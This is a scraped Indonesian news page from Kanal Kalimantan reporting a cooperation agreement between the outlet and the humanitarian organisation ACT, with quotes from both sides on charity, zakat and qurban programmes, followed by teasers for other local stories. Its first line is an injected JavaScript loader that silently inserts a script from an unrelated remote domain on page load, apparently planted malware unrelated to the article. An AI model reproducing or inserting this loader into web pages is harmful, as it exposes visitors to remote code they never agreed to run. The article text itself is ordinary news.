(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Kanal Kalimantan menjalin kerja sama dengan Aksi Cepat Tanggap (ACT) dalam upaya menyukseskan kegiatan kedermawanan, kerelawanan, dan kemanusiaan.
Kerja sama didasari semangat yang sama untuk memberikan kontribusi positif kepada masyarakat.
Plt Kacab ACT Kalsel Ronio Romantika mengatakan, program yang dikerjasamakan ini merupakan upaya mengedukasi dan mengajak semua elemen masyarakat untuk peduli dengan segala hal kemanusiaan, baik yang terjadi di dalam negeri maupun luar negeri.
“Ini akan menjadi sinergi yang luar biasa antara Kanal Kalimantan dengan ACT sebagai sebuah lembaga kemanusiaan untuk banyak hal,†ujar Ronio usai penandatangan MoU Kanal Kalimantan-ACT, Jum’at (8/6).
Menurut Ronio, nantinya uluran tangan dari masyarakat juga diarahkan bukan hanya yang bersifat sementara, tapi berkelanjutan.
Bantuan yang diberikan pun bukan hanya berupa makanan, minuman, dan pakaian, tapi juga bagaimana kemudian membangun masyarakat menjadi generasi yang siap hidup dan berkembang. Kegiatan lain yang potensial untuk digarap bersama adalah momentum rutin keagamaan seperti zakat dan qurban.
Setiap tahun ACT mengoordinasikan dan menyebarkan sumbangan dari masyarakat berupa zakat dan qurban ke sejumlah daerah di Indonesia, termasuk beberapa negara lain. “Kita juga punya program jangka panjang membangun tepian negeri ini yang berkaitan dengan pendidikan, kesehatan, lingkungan hidup, dan sebagainya,†imbuhnya.
Ronio berharap ada pertukaran keahlian antara Kanal Kalimantan dengan ACT yang bisa dikombinasikan dengan pelatihan yang saling menguntungkan antar kedua pihak.
“Bagaimana kita bisa sama-sama dengan concern dan ranah kita masing-masing, Kanal Kalimantan dengan jurnalistik dan ACT punya kompetensi pemberdayaan kerelawanan dan kedermawanan bisa menjadi nilai tambah untuk masuk ke sekolah, kampus, dan sekolah,†tandas Ronio.
Sementara itu, Pimpinan Redaksi Kanal Kalimantan Slamet Afifuddin tertarik dengan kegiatan yang dilakukan ACT selama ini.
Menurut Chella -biasa disapa-, aksi kemanusiaan memang harus dikabarkan secara luas agar masyarakat bisa ikut terlibat membantu, baik secara moril maupun materiil.
“Semua stakeholder juga harus ikut untuk menggalang kegiatan kemanusiaan, mungkin nanti bisa godok bareng melibatkan semua potensi yang ada di Kalsel ini,†tuturnya.
Kanal Kalimantan, lanjut Chella, ke depan, pekerja media khususnya jurnalis juga butuh mendapatkan pemahaman memosisikan diri dalam kondisi bencana agar bisa bekerja, tetapi tetap mendukung tugas kemanusiaan. (bie)
KANALKALIMANTAN.COM, BANJARBARU - Kepolisian Daerah (Polda) Kalimantan Selatan (Kalsel) memusnahan barang bukti sitaan narkoba hasil… Read More
KANALKALIMANTAN.COM, BANJARBARU – Lelaki tak beridentitas yang ditemukan tergeletak tak bernyawa di Jalan Wira Agung… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kepala Kepolisian Resor (Kapolres) Kota Banjarbaru resmi berganti dari AKBP Dody Harza… Read More
KANALKALIMANTAN.COM, BANJARBARU - Warga di Jalan Trikora, Kelurahan Landasan Ulin Tengah, Kecamatan Liang Anggang, Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pengunjung Taman Ramah Anak Van der Pijl Kota Banjarbaru tak hanya diharuskan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ombudsman RI Perwakilan Kalimantan Selatan (Kalsel) mencatat sepanjang tahun 2024 telah menerima… Read More
This website uses cookies.